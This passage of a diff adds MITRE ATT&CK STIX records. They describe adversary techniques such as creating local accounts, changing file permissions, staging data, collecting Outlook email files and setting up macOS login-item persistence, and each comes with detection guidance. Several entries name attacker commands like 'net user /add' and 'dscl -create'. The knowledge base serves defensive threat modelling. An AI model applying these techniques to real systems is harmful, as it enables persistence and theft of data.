"external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053/004", + "external_id": "T1053.004", + "source_name": "mitre-attack" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Link Target", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:28:41.565Z", + "created": "2021-03-17T20:35:08.429Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", + "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1608/005", + "external_id": "T1608.005", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", + "source_name": "Malwarebytes Silent Librarian October 2020" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", + "source_name": "Proofpoint TA407 September 2019" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-09-13T21:08:09.985Z", + "name": "Linux and Mac File and Directory Permissions Modification", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata" + ], + "x_mitre_version": "1.1", + "created": "2020-02-04T19:24:27.774Z", + "x_mitre_permissions_required": [ + "User", + "root" + ], + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1222/002", + "external_id": "T1222.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" + }, + { + "source_name": "Hybrid Analysis Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Local Account", + "x_mitre_data_sources": [ + "User Account: User Account Creation", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-12T13:04:14.248Z", + "created": "2020-01-28T13:50:22.506Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", + "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1136/001", + "external_id": "T1136.001", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "source_name": "Microsoft User Creation Event" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-07-28T18:05:24.567Z", + "name": "Local Account", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_version": "1.2", + "created": "2020-02-21T21:07:55.393Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1087/001", + "external_id": "T1087.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", + "source_name": "Elastic - Koadiac Detection with EQL" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Local Accounts", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Metadata", + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-18T17:45:48.323Z", + "created": "2020-03-13T20:26:46.695Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1078/003", + "external_id": "T1078.003", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Local Data Staging", + "x_mitre_data_sources": [ + "File: File Access", + "File: File Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-05-26T19:23:54.854Z", + "created": "2020-03-13T21:13:10.467Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1074/001", + "external_id": "T1074.001", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-24T17:59:20.983Z", + "name": "Local Email Collection", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-02-19T18:46:06.098Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", + "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1114/001", + "external_id": "T1114.001", + "source_name": "mitre-attack" + }, + { + "url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/", + "description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020.", + "source_name": "Outlook File Sizes" + }, + { + "url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790", + "description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.", + "source_name": "Microsoft Outlook Files" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Local Groups", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-26T17:48:27.871Z", + "created": "2020-03-12T19:29:21.013Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", + "description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1069/001", + "external_id": "T1069.001", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-30T00:51:58.374Z", + "name": "Local Job Scheduling", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1168", + "external_id": "T1168", + "source_name": "mitre-attack" + }, + { + "source_name": "Die.net Linux crontab Man Page", + "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.", + "url": "https://linux.die.net/man/5/crontab" + }, + { + "source_name": "Die.net Linux at Man Page", + "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.", + "url": "https://linux.die.net/man/1/at" + }, + { + "source_name": "AppleDocs Scheduling Timed Jobs", + "description": "Apple. (n.d.). Retrieved July 17, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html" + }, + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Avast Linux Trojan Cron Persistence", + "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.", + "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-30T00:51:58.163Z", + "name": "Login Item", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1162", + "external_id": "T1162", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/564.html", + "external_id": "CAPEC-564", + "source_name": "capec" + }, + { + "source_name": "Adding Login Items", + "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Login Items", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Modification", + "File: File Creation" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-18T16:36:37.042Z", + "created": "2021-10-05T21:26:15.081Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", + "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/015", + "external_id": "T1547.015", + "source_name": "mitre-attack" + }, + { + "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac", + "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.", + "source_name": "Open Login Items Apple" + }, + { + "source_name": "Adding Login Items", + "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html" + }, + { + "url": "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/", + "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021.", + "source_name": "SMLoginItemSetEnabled Schroeder 2013" + }, + { + "url": "https://developer.apple.com/documentation/coreservices/launch_services", + "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.", + "source_name": "Launch Services Apple Developer" + }, + { + "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/", + "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.", + "source_name": "ELC Running at startup" + }, + { + "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788", + "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.", + "source_name": "Login Items AE" + }, + { + "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/", + "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.", + "source_name": "Startup Items Eclectic" + }, + { + "url": "http://www.hexed.in/2019/07/osxdok-analysis.html", + "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.", + "source_name": "hexed osx.dok analysis 2019" + }, + { + "url": "https://gist.github.com/kaloprominat/6111584", + "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.", + "source_name": "Add List Remove Login Items Apple Script" + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + }, + { + "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/", + "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.", + "source_name": "CheckPoint Dok" + }, + { + "url": "https://objective-see.com/blog/blog_0x44.html", + "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.", + "source_name": "objsee netwire backdoor 2019" + }, + { + "url": "https://objective-see.com/blog/blog_0x31.html", + "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.", + "source_name": "objsee block blocking login items" + }, + { + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "source_name": "sentinelone macos persist Jun 2019" + }, + { + "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1", + "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.", + "source_name": "Launch Service Keys Developer Apple" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Logon Script (Mac)", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-27T16:49:15.786Z", + "created": "2020-01-10T16:01:15.995Z", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0", + "description": "Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific 